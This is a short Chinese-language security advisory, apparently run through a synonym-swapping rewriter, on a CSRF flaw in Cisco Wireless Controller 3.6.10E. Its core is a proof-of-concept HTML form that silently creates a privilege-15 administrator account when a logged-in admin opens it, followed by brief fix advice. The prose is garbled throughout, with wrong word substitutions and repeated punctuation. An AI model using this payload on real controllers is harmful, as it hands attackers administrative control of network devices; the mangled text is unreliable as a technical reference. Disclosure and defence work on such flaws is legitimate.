Cisco Wireless Controller 3.6.10E CSRF缝隙安全公告

颁布功夫 2019-07-26

缝隙编号和级别


CVE编号：：暂无，，，危险级别：：高危，，，CVSS分值：：官方未评定


影响版本


受影响的版本


合用于Cisco Wireless Controller 3.6.10E。 。。


缝隙概述


Cisco Wireless Controller 3.6.10E是Cisco颁布的一款无线节制器，，，可为关键工作提供靠得住的机能。 。。


Cisco Wireless Controller 3.6.10E容易受到CSRF攻击，，，攻击者将精心设计的要求发送给拥有治理员级别接见权限的用户，，，打开URL后，，，将通过治理员的会话提交表单，，，并成功将新用户增长为治理员。 。。


缝隙验证


<html>


<body>


<form action="http://IP/security/cfgSecurityAAAUsersCreate


<http://192.168.1.1/security/cfgSecurityAAAUsersCreate>" method="POST">


<input type="hidden" name="username" value="secretadmin" />


<input type="hidden" name="privilege" value="15" />


<input type="hidden" name="password" value="K3Y" />


<input type="hidden" name="description" value="CSRF" />


<input type="hidden" name="type" value="lobby-admin" />


<input type="hidden" name="cfnpassword" value="K3Y" />


<input type="hidden" name="yearlife" value="2013" />


<input type="hidden" name="hourlife" value="16" />


<input type="hidden" name="monthlife" value="7" />


<input type="hidden" name="minlife" value="17" />


<input type="hidden" name="datelife" value="16" />


<input type="hidden" name="seclife" value="0" />


<input type="submit" value="submit" />


</form>


</body>


</html>


修复建议


1、、、关注官方网站，，，实时进行更新；；


2、、、验证HTTP Referer字段；；


3、、、在要求地址中增长token并验证；；


4、、、在HTTP头中自界说属性并验证。 。。


参考链接